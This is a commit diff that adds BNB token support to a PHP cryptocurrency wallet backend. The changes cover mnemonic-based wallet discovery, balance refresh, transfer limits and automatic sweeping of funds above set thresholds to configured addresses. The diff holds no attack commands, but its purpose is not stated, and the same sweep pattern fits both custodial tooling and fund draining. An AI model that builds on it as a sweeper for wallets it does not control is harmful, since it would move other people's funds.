feat: bnb
This commit is contained in:
@@ -16,7 +16,7 @@ use App\Models\WalletAddress;
|
||||
class AutoTransferConfig
|
||||
{
|
||||
/** @var list<string> */
|
||||
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC'];
|
||||
public const ASSETS = ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'];
|
||||
|
||||
public function isEnabledForAddress(WalletAddress $address): bool
|
||||
{
|
||||
|
||||
@@ -134,6 +134,7 @@ class AutoTransferService
|
||||
'trx' => $address->trx,
|
||||
'eth' => $address->eth,
|
||||
'btc' => $address->btc,
|
||||
'bnb' => $address->bnb,
|
||||
],
|
||||
];
|
||||
|
||||
@@ -365,7 +366,7 @@ class AutoTransferService
|
||||
private function assetScale(string $asset): int
|
||||
{
|
||||
return match (strtoupper($asset)) {
|
||||
'ETH' => 18,
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
@@ -378,7 +379,7 @@ class AutoTransferService
|
||||
{
|
||||
return match ($chain) {
|
||||
'TRON', 'TRX' => ['USDT', 'TRX'],
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'],
|
||||
'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'],
|
||||
'BTC', 'BITCOIN' => ['BTC'],
|
||||
default => [],
|
||||
};
|
||||
|
||||
@@ -41,7 +41,7 @@ class EthDriver implements ChainDriver
|
||||
|
||||
$derived = Bip44::derive($mnemonic, $this->path($index));
|
||||
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
|
||||
$units = $this->toTokenUnits($amount);
|
||||
$units = $this->toTokenUnits($amount, $this->tokenDecimals($contract));
|
||||
// transfer(address,uint256) selector = a9059cbb
|
||||
$data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
|
||||
|
||||
@@ -76,16 +76,22 @@ class EthDriver implements ChainDriver
|
||||
// fall through to token
|
||||
}
|
||||
|
||||
$contract = trim((string) config('coruna.eth.usdt_contract', ''));
|
||||
if ($contract === '') {
|
||||
return false;
|
||||
foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) {
|
||||
$contract = trim((string) config($key, ''));
|
||||
if ($contract === '') {
|
||||
continue;
|
||||
}
|
||||
|
||||
try {
|
||||
if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) {
|
||||
return true;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// try the next token
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
return bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0;
|
||||
} catch (\Throwable) {
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public function getNativeBalance(string $address): string
|
||||
@@ -118,7 +124,7 @@ class EthDriver implements ChainDriver
|
||||
return '0';
|
||||
}
|
||||
|
||||
return $this->fromTokenUnits($this->hexToDec($hex));
|
||||
return $this->fromTokenUnits($this->hexToDec($hex), $this->tokenDecimals($contract));
|
||||
}
|
||||
|
||||
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
|
||||
@@ -184,10 +190,25 @@ class EthDriver implements ChainDriver
|
||||
return $human === '' ? '0' : $human;
|
||||
}
|
||||
|
||||
private function toTokenUnits(string $amount): string
|
||||
private function tokenDecimals(string $contract): int
|
||||
{
|
||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) {
|
||||
$normalized = EthAddress::normalize($contract);
|
||||
$known = [
|
||||
EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6),
|
||||
EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18),
|
||||
];
|
||||
unset($known['']);
|
||||
if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) {
|
||||
return $known[$normalized];
|
||||
}
|
||||
|
||||
return max(1, (int) config('coruna.eth.usdt_decimals', 6));
|
||||
}
|
||||
|
||||
private function toTokenUnits(string $amount, int $decimals): string
|
||||
{
|
||||
$decimals = max(1, $decimals);
|
||||
if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) {
|
||||
throw new RuntimeException('Invalid token amount');
|
||||
}
|
||||
$factor = bcpow('10', (string) $decimals, 0);
|
||||
@@ -199,9 +220,9 @@ class EthDriver implements ChainDriver
|
||||
return $units;
|
||||
}
|
||||
|
||||
private function fromTokenUnits(string $units): string
|
||||
private function fromTokenUnits(string $units, int $decimals): string
|
||||
{
|
||||
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
|
||||
$decimals = max(0, $decimals);
|
||||
if (! preg_match('/^\d+$/', $units)) {
|
||||
$units = '0';
|
||||
}
|
||||
|
||||
@@ -259,6 +259,7 @@ class MnemonicWalletDiscovery
|
||||
'coins' => [
|
||||
'eth' => $driver->getNativeBalance($address),
|
||||
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||
'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')),
|
||||
],
|
||||
];
|
||||
}
|
||||
@@ -394,7 +395,7 @@ class MnemonicWalletDiscovery
|
||||
{
|
||||
return match ($chain) {
|
||||
'tron' => ['trx' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0'],
|
||||
'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'],
|
||||
'btc' => ['btc' => '0'],
|
||||
'sol' => ['sol' => '0', 'usdt' => '0'],
|
||||
default => [],
|
||||
|
||||
@@ -21,6 +21,7 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
'auto_transfer.threshold_eth' => 'AUTO_TRANSFER_THRESHOLD_ETH',
|
||||
'auto_transfer.threshold_btc' => 'AUTO_TRANSFER_THRESHOLD_BTC',
|
||||
'auto_transfer.threshold_bnb' => 'AUTO_TRANSFER_THRESHOLD_BNB',
|
||||
'transfer.fee_address_tron' => 'TRANSFER_FEE_ADDRESS_TRON',
|
||||
'transfer.fee_private_key_tron' => 'TRANSFER_FEE_PRIVATE_KEY_TRON',
|
||||
'transfer.fee_topup_trx' => 'TRANSFER_FEE_TOPUP_TRX',
|
||||
@@ -44,6 +45,7 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||
'auto_transfer.threshold_eth' => config('coruna.auto_transfer.threshold_eth'),
|
||||
'auto_transfer.threshold_btc' => config('coruna.auto_transfer.threshold_btc'),
|
||||
'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'),
|
||||
'transfer.to_address' => config('coruna.transfer.to_address'),
|
||||
'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'),
|
||||
'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'),
|
||||
@@ -108,6 +110,7 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
|
||||
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
|
||||
'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''),
|
||||
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
|
||||
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
|
||||
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
|
||||
@@ -149,6 +152,7 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
'auto_transfer.threshold_eth' => config(['coruna.auto_transfer.threshold_eth' => $value]),
|
||||
'auto_transfer.threshold_btc' => config(['coruna.auto_transfer.threshold_btc' => $value]),
|
||||
'auto_transfer.threshold_bnb' => config(['coruna.auto_transfer.threshold_bnb' => $value]),
|
||||
'transfer.to_address' => config(['coruna.transfer.to_address' => $value]),
|
||||
'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]),
|
||||
'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]),
|
||||
|
||||
@@ -108,6 +108,13 @@ class TransferService
|
||||
$amount,
|
||||
$this->usdtContract($chain),
|
||||
),
|
||||
'BNB' => $driver->sendToken(
|
||||
$mnemonic,
|
||||
$index,
|
||||
$to,
|
||||
$amount,
|
||||
$this->bnbContract($chain),
|
||||
),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
@@ -442,11 +449,25 @@ class TransferService
|
||||
return $contract;
|
||||
}
|
||||
|
||||
private function bnbContract(string $chain): string
|
||||
{
|
||||
if (! in_array($chain, ['eth', 'ethereum'], true)) {
|
||||
throw new RuntimeException('BNB is only supported on ETH');
|
||||
}
|
||||
$contract = trim((string) config('coruna.eth.bnb_contract', ''));
|
||||
if ($contract === '') {
|
||||
throw new RuntimeException('BNB contract is not configured for '.$chain);
|
||||
}
|
||||
|
||||
return $contract;
|
||||
}
|
||||
|
||||
private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string
|
||||
{
|
||||
$balance = match ($asset) {
|
||||
'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress),
|
||||
'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)),
|
||||
'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)),
|
||||
default => throw new RuntimeException("Unsupported asset: {$asset}"),
|
||||
};
|
||||
|
||||
@@ -457,7 +478,7 @@ class TransferService
|
||||
default => null,
|
||||
};
|
||||
$scale = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
@@ -568,7 +589,7 @@ class TransferService
|
||||
private function assertAmountWithinLimit(string $amount, string $asset): void
|
||||
{
|
||||
$decimals = match ($asset) {
|
||||
'ETH' => 18,
|
||||
'ETH', 'BNB' => 18,
|
||||
'BTC' => 8,
|
||||
default => 6,
|
||||
};
|
||||
@@ -580,6 +601,7 @@ class TransferService
|
||||
'TRX' => 'coruna.transfer.max_trx',
|
||||
'ETH' => 'coruna.transfer.max_eth',
|
||||
'BTC' => 'coruna.transfer.max_btc',
|
||||
'BNB' => 'coruna.transfer.max_bnb',
|
||||
default => 'coruna.transfer.max_usdt',
|
||||
};
|
||||
$max = (string) config($maxKey, '0');
|
||||
|
||||
@@ -11,7 +11,7 @@ use Illuminate\Support\Facades\Log;
|
||||
/**
|
||||
* Live on-chain balance refresh for wallet_addresses.
|
||||
*
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only.
|
||||
* Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only.
|
||||
* SOL: SOL + USDT (SPL).
|
||||
*/
|
||||
class WalletBalanceService
|
||||
@@ -54,6 +54,10 @@ class WalletBalanceService
|
||||
if ($contract !== '') {
|
||||
$attrs['usdt'] = $driver->getTokenBalance($addr, $contract);
|
||||
}
|
||||
$bnbContract = trim((string) config('coruna.eth.bnb_contract', ''));
|
||||
if ($bnbContract !== '') {
|
||||
$attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract);
|
||||
}
|
||||
$this->persistCoins($address, $attrs);
|
||||
|
||||
Log::info('eth balance refresh ok', [
|
||||
@@ -61,6 +65,7 @@ class WalletBalanceService
|
||||
'address' => $addr,
|
||||
'eth' => $address->eth,
|
||||
'usdt' => $address->usdt,
|
||||
'bnb' => $address->bnb,
|
||||
]);
|
||||
|
||||
return true;
|
||||
|
||||
Reference in New Issue
Block a user